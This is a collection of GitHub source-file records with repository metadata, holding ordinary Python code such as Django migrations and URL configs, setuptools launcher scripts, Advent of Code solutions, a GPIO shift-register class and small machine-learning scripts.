# https://www.youtube.com/watch?v=6iF8Xb7Z3wQ&list=PL-osiE80TeTt2d9bfVyTiXJA-UTHn6WwU&index=8&t=0s nums = [1,2,3,4,5] for num in nums: if num == 3: print('Found!') break #this will force the loop to stop print(num) for num in nums: if num == 3: print('Found!') ...
[ "noreply@github.com" ]
dodonnell-code.noreply@github.com
d3fa739bf9084c7c410a9e462983e191e39f3ce0
0f55c4f533f769273ac40ed85678a8163806585d
/Puzzles/Day2/Day2Solution.py
58e72b4885812d83b5825cf4d6f33bf3ece5d1a7
[]
no_license
jhmalpern/AdventOfCode
5759d5b3a3999b30544f4f161c25f76647e1a4ec
7a8f5f9a513e8d5852452ec3480d553797d8d0b5
refs/heads/main
2023-03-27T17:09:27.003298
2021-03-28T01:46:48
2021-03-28T01:46:48
340,063,803
0
0
null
2021-03-28T01:46:48
2021-02-18T13:47:16
Python
UTF-8
Python
false
false
1,481
py
#!/usr/bin/python3 import time def main(): startTime = time.time() #with open("PuzzleInput.txt",'r') as f: # puzzleInput = f.read().splitlines() ##### PART 1 ##### benchTime = [] for j in range(1000): startTime = time.time() with open("PuzzleInput.txt",'r') as f: ...
[ "jhmalpern@gmail.com" ]
jhmalpern@gmail.com
0ddd27f3ce680601691199137a6f241c35295ea5
5862f821fe16a046cc306b86a6cefd2636024028
/venv/Scripts/easy_install-3.7-script.py
a2a72f5cc730d3d6a88afd432f2384572ae30670
[]
no_license
doom2020/BlogSystem
88aebf3fa1fb98b7bd9ec0af7818fae02d691435
1272cd4d4ce4fbc7ceac1f6bedbcaf65b021f278
refs/heads/master
2020-07-15T06:27:45.282468
2019-09-11T16:05:14
2019-09-11T16:05:14
205,499,859
1
0
null
null
null
null
UTF-8
Python
false
false
449
py
#!D:\PycharmProjects\BlogSystem\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.7' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?...
[ "408575225@qq.com" ]
408575225@qq.com
e1dbde634a9194de00f984df3194eaf85f5b62dd
8b435b89d790aeaa76f289cd894758bb500fcd67
/myweb/urls.py
9ad357ac8951f44bfcb9356b073940ba4be8e55c
[ "BSD-2-Clause" ]
permissive
gavinleehau/Django-first-project
b2b6a31b7da00ca14805e450cfbd60c5db7ef9a2
9d76ea872d0b11ec0dcedbe1611dbd69990c7e7f
refs/heads/main
2023-07-16T14:01:49.325867
2021-08-16T07:36:45
2021-08-16T07:36:45
396,676,224
1
0
null
null
null
null
UTF-8
Python
false
false
1,054
py
"""myweb URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based v...
[ "haule.it.ctu@gmail.com" ]
haule.it.ctu@gmail.com
1020c2b625bea5bf723e8d9a6c32283db8060e0b
805dfed53cc33e31ad21c7d7f14d876986533755
/DS-Algorithms/venv/Scripts/easy_install-script.py
495776bbfd650f3579f5a67b27444ca06c538bc1
[]
no_license
RoqueSanJuan/ProyectosPython
74b2c9f3a06279ed8f5ef255f2f306a6106df794
d8d758b0a527d19d817bbdcc8468462b546283b7
refs/heads/master
2022-04-14T15:31:42.508605
2020-04-11T05:10:58
2020-04-11T05:10:58
254,597,516
0
0
null
null
null
null
UTF-8
Python
false
false
491
py
#!"C:\Users\roque\Desktop\Desarrollando Lenguajes\Python\Proyectos\DS-Algorithms\venv\Scripts\python.exe" # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': ...
[ "Roque.m.sanjuan@gmail.com" ]
Roque.m.sanjuan@gmail.com
484a516abf6bb6f5c89428f65f0e13e0d049eb90
22e3de33816f79db85d716472015b03a21b596c2
/src/chapter01/chapter01-04.py
02674ecf0073a83499535b3ba836bf88abec1926
[]
no_license
hermes7308/opencv-with-python-tutorial
add150656cfd4f3b053e1f18462b57ec6bb73923
7768c64f04f422b643506ba79d0cd3c0860c67fd
refs/heads/master
2020-04-27T04:05:56.755366
2020-04-26T05:39:44
2020-04-26T05:39:44
174,043,556
0
0
null
null
null
null
UTF-8
Python
false
false
135
py
import cv2 orig = cv2.imread("../../data/Lena.png") orig_size = orig.shape[0:2] cv2.imshow("Original image", orig) cv2.waitKey(2000)
[ "hermes7308@gmail.com" ]
hermes7308@gmail.com
212d607edd2e6f82e6485cfc79222aa3aa75a575
e4e148505e276b1d7fae38a1c2196bee9f9deb5b
/Zork/Package/Item.py
ba2539a20cc6ac0b7d85a8dfa9b20739563d9856
[]
no_license
ghuizenga/343-ZorkSubmit
77b9aed230e1ba1b7a41e6cd18f4807cb5186530
9e5966e45c15482434a68345be85391431686205
refs/heads/master
2021-04-15T05:45:11.130843
2018-03-25T07:29:52
2018-03-25T07:29:52
126,674,372
0
0
null
null
null
null
UTF-8
Python
false
false
1,554
py
# -*- coding: utf-8 -*- """ Created on Fri Mar 23 01:55:56 2018 @author: Gregory """ class Item(object) : name = "nothing" durability = 0 max_durability = 0 observers = [] inv_slot = 0 def lose_durability(self) : self.durability = self.durability - 1 if...
[ "noreply@github.com" ]
ghuizenga.noreply@github.com
7a06df65bbaae64fd9ecbf76bb2480bf468a18c2
2b42b40ae2e84b438146003bf231532973f1081d
/spec/mgm4458983.3.spec
5ca4f04f24e0cf6983e0d97f1038bad1c47f41fd
[]
no_license
MG-RAST/mtf
0ea0ebd0c0eb18ec6711e30de7cc336bdae7215a
e2ddb3b145068f22808ef43e2bbbbaeec7abccff
refs/heads/master
2020-05-20T15:32:04.334532
2012-03-05T09:51:49
2012-03-05T09:51:49
3,625,755
0
1
null
null
null
null
UTF-8
Python
false
false
14,694
spec
{ "id": "mgm4458983.3", "metadata": { "mgm4458983.3.metadata.json": { "format": "json", "provider": "metagenomics.anl.gov" } }, "providers": { "metagenomics.anl.gov": { "files": { "100.preprocess.info": { ...
[ "jared.wilkening@gmail.com" ]
jared.wilkening@gmail.com
be328f37bac951c2c72b62235422e71d7b99017c
a2fae6522c0526e81032d700e750dbc4b55e308b
/twemoir/lib/states2/__init__.py
ad34e59f727359c8bb1bafd873c6013ba561029b
[ "BSD-2-Clause" ]
permissive
fish2000/django-twemoir
e895039e4ecd0a01baa9e35002fe0e00e20f6a4f
8caa7e5319055f54e0d89457780605994622e8d9
refs/heads/master
2020-06-05T13:16:47.036385
2014-01-21T02:42:30
2014-01-21T02:42:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
601
py
''' State engine for django models. Define a state graph for a model and remember the state of each object. State transitions can be logged for objects. ''' #: The version list VERSION = (1, 4, 4) def get_version(): ''' Converts the :attr:`VERSION` into a nice string ''' if len(VERSION) > 3 and VERS...
[ "fish2000@gmail.com" ]
fish2000@gmail.com
2d8d470c1d8cbab3be51e06075b1a6e0a3def72a
eab841eaaae1df828a05fc6b5197b735d9a03925
/testplatform/migrations/0001_initial.py
58fb22c66f6ea31bb4cd36458e4f7b64e6dcd0d5
[]
no_license
kangkai1314/simulator
e694c6e4f57761c800d3553e213b6e810d3e082c
a73c3ed687cd50ccc58639235e1212b97083705d
refs/heads/master
2020-04-01T01:24:23.329315
2019-06-26T09:20:33
2019-06-26T09:20:33
152,737,092
0
0
null
null
null
null
UTF-8
Python
false
false
712
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.15 on 2018-10-17 11:22 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='TestP...
[ "1253393765@qq.com" ]
1253393765@qq.com
7b8361506701672b1a23c14b7e23bcca40d4f534
33afe0e97eb40f439682c28b0c029d4db1047f7b
/DoublePendulum/__init__.py
20a5949eba5fc143315be5c765be833051512427
[]
no_license
Minerkow/Double_pendulum_modulation
458ba037ae3e6dd8162a783f5ac6ac3fd9bd76b3
c15f7d616013d6a2535919e74b1b020e527732af
refs/heads/main
2023-05-01T15:30:57.846984
2021-05-18T09:51:51
2021-05-18T09:51:51
366,128,281
0
0
null
null
null
null
UTF-8
Python
false
false
43
py
__all__ = ['Calculation', 'Draw', 'Render']
[ "melnikov.ignat@phystech.edu" ]
melnikov.ignat@phystech.edu
6099014e481a612795f1c1a3462f65dc5c056a64
8c715df0c4a0bfb5408ea515fc42e28f48366ab6
/amsgradw.py
59cc1ef686b67985f6697c2eea697a4d31c12e43
[]
no_license
zwcdp/fashion-classifier
9e2cf7982a142ada42cc53aef310190a7c539c9f
db0f266e037fe5eb9adf35b2b5387e34e3a1d818
refs/heads/master
2020-04-19T08:10:50.446127
2017-12-21T18:10:24
2017-12-21T18:10:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,872
py
import math #from ..torch_imports import * import torch from torch.optim import Optimizer class AMSGradW(Optimizer): """Implements AMSGrad with fixed weight decay""" def __init__(self, params, lr=0.0005, betas=(0.9, 0.999), eps=1e-8, weight_decay=0): defaults = dict(lr=lr, betas=beta...
[ "kennivich@gmail.com" ]
kennivich@gmail.com
46b1e5157ab927f5cf441af52490723e1d448632
d452e34253561a47b974e260dabd8dcda6e750a2
/unsupervised_learning/0x00-dimensionality_reduction/0-pca.py
739e7c1866a674e0f51ec93dfdd3ee6b953d63c2
[]
no_license
JohnCook17/holbertonschool-machine_learning
57fcb5b9d351826c3e3d5478b3b4fbe16cdfac9f
4200798bdbbe828db94e5585b62a595e3a96c3e6
refs/heads/master
2021-07-07T10:16:21.583107
2021-04-11T20:38:33
2021-04-11T20:38:33
255,424,823
3
2
null
null
null
null
UTF-8
Python
false
false
513
py
#!/usr/bin/env python3 """PCA of an array to reduce the number of features""" import numpy as np def pca(X, var=0.95): """performs pca on a matrix""" W, V = np.linalg.eig(np.matmul(X.T, X)) W_idx = W.argsort()[::-1] V = V[:, W_idx] # print(V) V_var = np.copy(V) V_var *= 1 / np.abs(V_var).m...
[ "jcook0017@gmail.com" ]
jcook0017@gmail.com
46c61bb76012d57e00ff1f1e762fe9ef6c1731eb
95fd6bb4126edbd36a79ba87b8cb4f0e2149e4e1
/tests/test_pyca.py
bdab377dc1090dbe408f12da0b97db5995796cc4
[ "MIT" ]
permissive
secondguard/secondguard-python
a091357932ffa55e0bae74149c552781d87a3493
392d33ee40a9982ad912210152f4b2d44fa5ef1a
refs/heads/master
2022-12-10T11:31:31.972938
2020-08-04T16:23:47
2020-08-04T16:23:47
277,826,214
6
1
MIT
2022-12-08T11:05:21
2020-07-07T13:36:49
Python
UTF-8
Python
false
false
1,416
py
from base64 import b64decode from os import urandom from secondguard.pyca import ( symmetric_encrypt, symmetric_decrypt, asymmetric_encrypt, asymmetric_decrypt, ) # TODO: move to a setup class? from tests.utils import PUBKEY_STR, PRIVKEY_STR, _fetch_testing_pubkey # TODO: come up with less HACKey way ...
[ "mflaxman@gmail.com" ]
mflaxman@gmail.com
60785f79498697d6edf009b2f1ee6138968b9605
02c8fd3edca29fd7398881759b137138c4561363
/App/disc/legacy2/WinQRPCom5_test.py
0df1f1de0dbb9a27dd5e4ab8cdebbe82a6cac8b1
[]
no_license
Sharad-Jain-24/ERM-Minor-Project
1ffeda7451fb7a49fc6924dd43a2b8c8103788be
d46409b1cf9dfcd26f563a81a04fcfbe9030a937
refs/heads/main
2023-08-27T12:56:33.508485
2021-09-26T08:47:28
2021-09-26T08:47:28
410,498,652
0
0
null
null
null
null
UTF-8
Python
false
false
23,851
py
#importing libraries & modules import os import re import cv2 import time import random import pyqrcode import numpy as np import tkinter as tk import pyzbar.pyzbar as pyzbar from tkinter import * from tkinter import ttk from tkinter import messagebox from PIL import ImageTk, Image from openpyxl.styles import colors fr...
[ "mp.sharadjain24@gmail.com" ]
mp.sharadjain24@gmail.com
d635dc5499a458b1e7b7aa2229c38daf3f737ff0
2a10a10085bc992a9c7922412a5a874aaf22abb5
/online_practice_problems/arrays/Wave Array.py
c4fa8c9c2132a6a9dab5a76d514800ae237f50c6
[]
no_license
anuragseven/coding-problems
53076770ab45587ccb24c4ac63431fe89525db84
50e91edd1a7675cf28dced756b544f830c653a3a
refs/heads/main
2023-08-14T12:14:49.240423
2021-09-29T16:54:06
2021-09-29T16:54:06
395,361,475
0
0
null
null
null
null
UTF-8
Python
false
false
433
py
#Given a sorted array arr[] of distinct integers. Sort the array into a wave-like array and return it. In other words, arrange the elements into a sequence such that a1 >= a2 <= a3 >= a4 <= a5..... (considering the increasing lexicographical order). def convertToWave(self,A,N): for i in range(0,len(A),2): ...
[ "anuragtseven@gmail.com" ]
anuragtseven@gmail.com
96c63b5c44628d36cfaee9cac11969265a458a8a
451c90c50575b830b0d816faa11efddd83944b52
/restaurant/urls.py
cbe99e9f1e85484520d098bf23f4dd1a1156c8a2
[]
no_license
Luis-Palacios/restaurant-demo
e4038869eb727611b71a1d46d6ff00926316a383
3882866ae322562cf7fab4a31b998a0f6cbe1978
refs/heads/master
2022-12-11T20:17:18.320801
2019-10-09T18:43:26
2019-10-09T18:43:26
212,886,837
1
0
null
2022-12-08T06:40:41
2019-10-04T19:18:45
JavaScript
UTF-8
Python
false
false
1,018
py
"""restaurant URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-ba...
[ "lrpalaciosdev@gmail.com" ]
lrpalaciosdev@gmail.com
3d7bde095f7c4d0f0e68b4b060a8f89a0fa2727c
220f3b74eacf8626a7e4323ae5f80e9691062c1e
/dataset.py
f2bfb1ad52ebc2e63b31495b4d5b7754f656deda
[ "MIT" ]
permissive
gonziesc/ML-2019-reclamos-consumidor
058540550c5c971411c08c268f7dd420983dd0fd
4e0793a3c070f40e517d355d2bd5533ae9ab81bd
refs/heads/master
2020-05-22T10:27:59.738817
2019-05-18T02:45:09
2019-05-18T02:45:09
186,310,932
0
0
null
null
null
null
UTF-8
Python
false
false
805,607
py
[ Instance([ 14105, 11 ], [ 1 ] ), Instance([ 125, 5 ], [ 1 ] ), Instance([ 26, 5 ], [ 1 ] ), Instance([ 14106, 36 ], [ 1 ] ), Instance([ 13716, 4 ], [ 1 ] ), Instance([ 40, 1 ], [ 1 ] ), Instance([ 3549, 4 ], [ 1 ] ), Instance([ 408, 29 ], [ 1 ] ), Instance([ 2, 2 ], [ 1 ] ), Instance([ 879, 29 ], [ ...
[ "gonziesc@gmail.com" ]
gonziesc@gmail.com
9db0b42b713d35f5d04405e09376faaafa86e7c8
09e45825b9b4c81ad0894d40fb122b081aa5f666
/vcloud-automation/vcore/addVM.py
af5d217e3a46dbb25cca624e9b99b9b9bc862c23
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
krisdigitx/python-vcloud-automation
dc3adbd244238aa997f761cf090f3e7915bfd5b4
7fa290074f9d1d485b6f161ff29e4ab5d52a4f36
refs/heads/master
2020-12-25T19:04:08.558576
2014-10-08T14:51:40
2014-10-08T14:51:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,186
py
__author__ = 'krishnaa' import urllib2 import base64 import sys import xml.etree.ElementTree as ET def addVM(vapp_name,vapp_desc,vapp_href,template_url,authtoken,method): handler = urllib2.HTTPSHandler() opener = urllib2.build_opener(handler) url = vapp_href + '/action/recomposeVApp' request = urllib2...
[ "k.shekhar@kainos.com" ]
k.shekhar@kainos.com
c6fec49644b29d3906866f7078534c97510ad8aa
261f279a54df573313c29b539eb644e20e95e955
/mrp_system/migrations/0002_auto_20181114_1116.py
88640813f9c5d7ed1db4e1451107edfbedbcb4b1
[ "MIT" ]
permissive
mgeorge8/django_time
92fdee161cda477939a93b5838225b9cc2dc2c34
f75a442941b0ebbb6cc46a6d18e42b91695b7e57
refs/heads/master
2021-07-18T11:34:47.530994
2019-02-01T03:22:29
2019-02-01T03:22:29
154,211,989
1
0
null
null
null
null
UTF-8
Python
false
false
951
py
# Generated by Django 2.1.2 on 2018-11-14 18:16 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('mrp_system', '0001_initial'), ] operations = [ migrations.CreateModel( name='Field', ...
[ "ryan.kris.george@gmail.com" ]
ryan.kris.george@gmail.com
a27330c916f19217395dbe8d4dc7463458cb185a
1226c2e8f15aff6500d352d1947b97e37eb9ceca
/tree.py
4a6649662a8d96c0c0c194e4a2dc6b500fa52c01
[]
no_license
todorgrigorov/web-crawler
0645646c65e376a3a78a82bb4206dcb494680435
4a98e69a8608e88a696017fb9b35d33dc16350be
refs/heads/master
2022-01-08T10:09:24.736309
2019-05-05T09:04:50
2019-05-05T09:04:50
112,515,837
0
0
null
null
null
null
UTF-8
Python
false
false
1,484
py
class Node: """ Represents a tree node with unique key and list of values. """ def __init__(self, key, value): self.left = None self.right = None self.key = key self.values = [value] class Tree: """ Represents a BST tree of Node values. """ def __init__(self): ...
[ "toshko.grigorov95@gmail.com" ]
toshko.grigorov95@gmail.com
f55db69cefed1925aae5931a44bdfbab24e7073f
2a68b03c923119cc747c4ffcc244477be35134bb
/Alog/class6/exercises/combinationSumII.py
2ddbded21f2c279ed331fe8f9496cd5b69ec649d
[]
no_license
QitaoXu/Lintcode
0bce9ae15fdd4af1cac376c0bea4465ae5ea6747
fe411a0590ada6a1a6ae1166c86c585416ac8cda
refs/heads/master
2020-04-24T20:53:27.258876
2019-09-24T23:54:59
2019-09-24T23:54:59
172,259,064
1
0
null
null
null
null
UTF-8
Python
false
false
1,025
py
class Solution: """ @param num: Given the candidate numbers @param target: Given the target number @return: All the combinations that sum to target """ def combinationSum2(self, num, target): # write your code here results = [] combination = [] ...
[ "xuqitao@qx-mbp.dhcp.wustl.edu" ]
xuqitao@qx-mbp.dhcp.wustl.edu
2a7e1c817f83062edbb9b218c420e0aeb33fdb88
3c397042e7fa0d7d4fa25cd75f0d10babd9f933f
/lab_4/patterns/myvenv/Lib/site-packages/tests/radish/steps.py
682c57dbbfa0b37ed7aac91e40e966e0ab7a925c
[]
no_license
StepanIonov/RIP_lab
f34f2a95fb8ddcfeeb703efd7088320f40ac1fc5
0fefaf77d664ed404d791422658a062fc3e9201c
refs/heads/master
2023-02-20T12:38:33.389360
2021-01-18T10:13:24
2021-01-18T10:13:24
295,768,234
1
0
null
null
null
null
UTF-8
Python
false
false
5,348
py
# -*- coding: utf-8 -*- """ radish ~~~~~~ Behavior Driven Development tool for Python - the root from red to green Copyright: MIT, Timo Furrer <tuxtimo@gmail.com> """ import os import json from radish import given, when, then, world from radish.extensions.cucumber_json_writer import CucumberJSONWri...
[ "42943755+StepanIonov@users.noreply.github.com" ]
42943755+StepanIonov@users.noreply.github.com
25836e06c045c87b89bc5b1b080203aefd2b067a
497648388e631e484b5523bc5ca5f5df7d0e1b21
/MusicPlayer.py
b85921fcaf68e58f1826f0c6f97def7ea19980dd
[ "MIT" ]
permissive
NishitSingh2023/MusicPlayer
e9d1dfcfa46980a0f1aab503728bc03ee67dcb76
4ab7d1e9e3a557fe32a8cf3116ad8c1f4ba3699e
refs/heads/master
2020-09-17T06:06:38.301152
2020-01-11T12:11:29
2020-01-11T12:11:29
224,014,055
0
0
null
null
null
null
UTF-8
Python
false
false
3,428
py
from tkinter import * from tkinter import filedialog from tkinter import messagebox from pygame import mixer import os root = Tk() #Create Menubar menubar = Menu(root) root.config(menu=menubar) #Create sub menu subMenu = Menu(menubar, tearoff=0) def browse_file(): global filename filename = filedialog.askope...
[ "ns2023@gmail.com" ]
ns2023@gmail.com
0b0d92fb199b44da6f7fbbafdf15b2cb7977dfbb
ee901f0e193d3545b027c5dc40df42ebcea5bd86
/cheers-plain/cheers.py
1f81a23577078b1c410b70d2a7a1d314365fe5a4
[ "Apache-2.0" ]
permissive
haizaar/python-packaging-for-docker
42ec166db5be226454428aedd473e6b78fe27d3f
d7bcf72785b3006d4c11ebab55d4531d56a88092
refs/heads/master
2020-04-22T00:41:03.474328
2019-02-10T23:48:04
2019-02-10T23:48:04
169,989,342
0
0
null
null
null
null
UTF-8
Python
false
false
36
py
import Crypto print("Cheers mate")
[ "haizaar@haizaar.com" ]
haizaar@haizaar.com
3e09f91fbed2505f4a3baab99d1eb42c18e8cca5
71ac61eca989ef7ed6506d90dce31850f1102932
/chatbot_naive_bayes.py
e97d0d365e9e621a8ce9943d4796e676bf15fb29
[]
no_license
subham103/chatbot_query
f549f57f406612476c0aff5ebd8c5c718b89425a
be1ffb9ab10e60ac33f9945f343a7d1092f6d93f
refs/heads/master
2020-04-15T16:04:26.031996
2019-01-12T13:36:41
2019-01-12T13:36:41
164,818,394
0
0
null
null
null
null
UTF-8
Python
false
false
1,690
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Jan 7 00:13:44 2019 @author: subham """ # Natural Language Processing # Importing the libraries import numpy as np import matplotlib.pyplot as plt import pandas as pd # Importing the dataset dataset1 = pd.read_csv('training_queries.csv') dataset2 = ...
[ "noreply@github.com" ]
subham103.noreply@github.com
c491ea053c0235de9bf5a7b075a17a4ab955864c
5f97684516d29023e08aba40f36b927616bc5abd
/tool/ext/who/__init__.py
5b538a57b6d3a2f62cb77da631dd87d438283339
[]
no_license
neithere/tool
6e6143b6bcf1737e77f5312a072d9cbf00058bb1
503c445fabb61ddb80025aa595cac2c05cb9a521
refs/heads/master
2023-06-21T23:17:40.469831
2011-03-02T08:41:43
2011-03-02T08:41:43
1,126,720
0
0
null
null
null
null
UTF-8
Python
false
false
5,653
py
# -*- coding: utf-8 -*- """ Authentication and identification ================================= :state: beta :dependencies: Doqu_, repoze.who_ This bundle integrates Tool with repoze.who_, a powerful and extremely configurable identification and authentication framework. The extension provides: * sensible default c...
[ "andy@neithere.net" ]
andy@neithere.net
83c29ea807f200b7aa3c66a3c77c5dd188630072
fb357af3e3f4285db9d9ad858c681de7b6955925
/Futurmap_pdal.py
a45120a08af267efc9e92040f4bec42f448c4f64
[]
no_license
Fanevanjanahary/futurmappdal
12d9241ac625e73b36e52e490c9bd6317651153a
46240f97ad67efbb50c76221effcb1428ae338e2
refs/heads/master
2020-04-14T17:15:03.664667
2019-01-03T13:48:09
2019-01-03T13:48:09
163,974,127
0
0
null
null
null
null
UTF-8
Python
false
false
1,952
py
# -*- coding: utf-8 -*- """ /*************************************************************************** FuturMapPDAL A QGIS plugin To integre pdal on qgis Generated by Plugin Builder: http://g-sherman.github.io/Qgis-Plugin-Builder/ ------------------- ...
[ "fanevanjanahary@gmail.com" ]
fanevanjanahary@gmail.com
0e6cecf240afdeb88861367a7aa3570124a71fe4
c9b872274cd6e339a124d81897f6221935a7f5e9
/registerClass.py
fc0a607ef485e730cd975aa49073ce90738f24f4
[]
no_license
gahrae/Omega2_Seven_Segment_Display_with_Shift_Register
f92ca57539b4e96e4c243902e1e3006800bb490d
c9c9f66a276c2e3577bb4a85de7ab1e889675bc2
refs/heads/master
2022-12-01T14:33:04.920601
2020-08-15T19:28:36
2020-08-15T19:28:36
282,706,995
1
0
null
null
null
null
UTF-8
Python
false
false
2,161
py
import onionGpio # Source: https://docs.onion.io/omega2-maker-kit/starter-kit-using-shift-register.html # class to control a shift register chip class shiftRegister: # instantiates the GPIO objects based on the pin numbers def __init__(self, dataPin, serialClock, registerClock): self.ser = onionGpio.O...
[ "noreply@github.com" ]
gahrae.noreply@github.com
cf3d7cde784ecba8a66e456d076e186f78c63fb4
2dcd29532e61bdbf0928115f9639c9b9f39073cc
/linear_classifier.py
6f44a29e0bb21e2849bbb04c1cf82ab022cea2c4
[]
no_license
srinadhupreetham/code_face_recognition
9bd7a3b2ce1df30b7a518e27fe31c7533f510053
d0ddead52a55d106f3de402fd488a6de37050d57
refs/heads/master
2020-03-29T22:36:26.211821
2018-09-28T12:49:45
2018-09-28T12:49:45
150,430,009
0
0
null
null
null
null
UTF-8
Python
false
false
4,678
py
import numpy as np from PIL import Image import glob import sys import matplotlib.pyplot as plt; import math train_data_path = str(sys.argv[1]); test_data_path = str(sys.argv[2]); img_dict = {}; train_arr = []; weight_matrix = []; valtoname = {}; def getNormalDistValue(val, mean, variance): ans = 1/math.sqrt(2*math....
[ "srinadhu.saipreetham@gmail.com" ]
srinadhu.saipreetham@gmail.com
89f962173ad243423fbf0287bc735e5ffd428162
6573507497f8d221079ba86e34130d42969e1375
/spiderbot/netcraft_test/pipelines.py
49b2e29d207a1c83096d18ff846d6699e944e740
[]
no_license
BawangGoh-zz/Netcraft-Programming-Test
822b29bec908a16bec4007e595c34c4ab51e0ff4
58196fe93684b2a5fe2370c5f208e6d649954a59
refs/heads/master
2022-11-20T20:26:10.379630
2020-07-22T07:58:22
2020-07-22T07:58:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
366
py
# Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html # useful for handling different item types with a single interface from itemadapter import ItemAdapter class NetcraftTestPipeline: def process_...
[ "bawanggoh@gmail.com" ]
bawanggoh@gmail.com
774e7d1faac8114880b97958e42aa5e295f17b00
c63aefaaaeb70a878238253bca2a5519b92ab8e8
/mf_lab_private-maejima/mf_lab_private-maejima/python/yachi/step02_yachi.py
4ecd97e9bd221c037825e5cd6050f544a3e0b97b
[]
no_license
taken10/blog2
00deca00ac2332c5ba3f80198198cf77a5d4f9a0
7f70f91d356f0df23a5fb843e0d4625c02da4ce2
refs/heads/master
2020-03-30T03:52:08.596860
2018-10-06T17:44:55
2018-10-06T17:44:55
150,711,420
0
0
null
null
null
null
UTF-8
Python
false
false
2,868
py
#!/usr/bin/python # -*- coding: utf-8 -*- import copy # 一時的に引数配列を複写する為 import math # 整数値への切り上げをする為 import re # 正規表現を使用する為 import sys # 引数受け取りと、処理終了の為 def regex_integer_match(x): return bool(re.compile("^-?\d+\Z").match(x)) def round_up(x): return math.ceil(x) def main(arguments): ret_code = 0 # 引...
[ "noreply@github.com" ]
taken10.noreply@github.com
e31d526fe2456d043e593f7cf097e7610896026b
32481c055b01544a606fb54baa1c274f3d5f794c
/guided_diffusion/dist_util.py
c8098eae51095eb45188f85cb6f0ad0e59c5bdf9
[]
no_license
anondiffusion/anondiffusion
15a56da76d616882e1de40f00dbff4f0937a49d1
479c37e6d75c696952164f62eecbe20e1846d711
refs/heads/main
2023-09-05T01:12:36.049454
2021-11-22T09:20:27
2021-11-22T09:20:27
430,608,368
0
0
null
null
null
null
UTF-8
Python
false
false
2,425
py
""" Helpers for distributed training. """ import io import os import socket import blobfile as bf from mpi4py import MPI import torch as th import torch.distributed as dist # Change this to reflect your cluster layout. # The GPU for a given rank is (rank % GPUS_PER_NODE). GPUS_PER_NODE = 8 SETUP_RETRY_COUNT = 3 d...
[ "noreply@github.com" ]
anondiffusion.noreply@github.com
5a3db3fcf8abe15312818cc29161f6e4878773a8
0b54f693d3dbe0509fdd64d3aca8628894c8966f
/anupam/migrations/0001_initial.py
91da637bcad24dc9345f76f7c1cfd27e93a1c97c
[]
no_license
AnupamSankar/portfolio
ef392f3ac9f2aef95f2fa31e1e0846768cf03e61
b641997e3f7a07b92ad025b66195a0874d0096b0
refs/heads/master
2022-12-20T23:08:50.469312
2020-10-02T18:07:51
2020-10-02T18:07:51
300,694,750
0
0
null
null
null
null
UTF-8
Python
false
false
556
py
# Generated by Django 3.1.2 on 2020-10-02 05:14 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Anupam', fields=[ ('id', models.AutoField(a...
[ "anupams@qburst.com" ]
anupams@qburst.com
7eab27dae9ae021e3868923b685c9dfef414cb38
5391889ede59a40dcd69dc1cf3d7f337f1a52b3a
/main.py
c166bd7ae9e3dccc2558aa5f06bd79209f97519b
[ "MIT" ]
permissive
sanha-kil/DiscordChatBot
4f12580cc4ba0dd67b1faf40161b322c26d83779
39afc3859ec595cedaa0363e092b74db1bc32d42
refs/heads/master
2021-11-26T18:58:05.531306
2018-09-11T22:43:19
2018-09-11T22:43:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,688
py
# # 투표개설페이지 알고리즘 (월요일까지 완성) # 1. 투표개설페이지에 접속 (get) # 2. 투표 개설 입력사항들을 입력 # 3. 투표개설 클릭 (post) # 4. DB(임시 : sqlite3)에 랜덤주소 + 데이터 저장 # 5. 투표개설완료 페이지 출력 및 디스코드에 해당 투표페이지 전달 # # 투표페이지 알고리즘 (화요일까지 완성) # 1. 사용자가 투표페이지(get) 접속 # 2. DB 접속 후, 저장된 url이 있는가 확인 # 3. 없으면 404, 있으면 데이터를 불러와서 voteview.html 출력 # 4. # db - vote table #...
[ "luckperson7@naver.com" ]
luckperson7@naver.com
be4c699477acd335f3376d62aa0dee2aa7027087
cc0993ed5b1adc2bb180fbd391b05a88cc2c5151
/portfolio_app/migrations/0001_initial.py
a78a1cf594fe5a3beae2a7fb2aeb1f3dd1076eae
[]
no_license
ClayG89/New_Portfolio
17781992bb4e8cdd72c2acc246efc45ba90e4624
dcae62bc09ef948e1f104f1fe61c5da9e3d2ea94
refs/heads/master
2023-08-16T04:51:13.978312
2020-04-27T22:21:18
2020-04-27T22:21:18
257,135,119
0
0
null
2021-09-22T18:57:20
2020-04-20T00:53:57
JavaScript
UTF-8
Python
false
false
1,709
py
# Generated by Django 3.0.5 on 2020-04-20 13:56 from django.db import migrations, models import django.db.models.deletion import phone_field.models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Blog', ...
[ "guessclay@Yahoo.com" ]
guessclay@Yahoo.com
24a977828d578fe6243c0779e50ffbcd2ea193cf
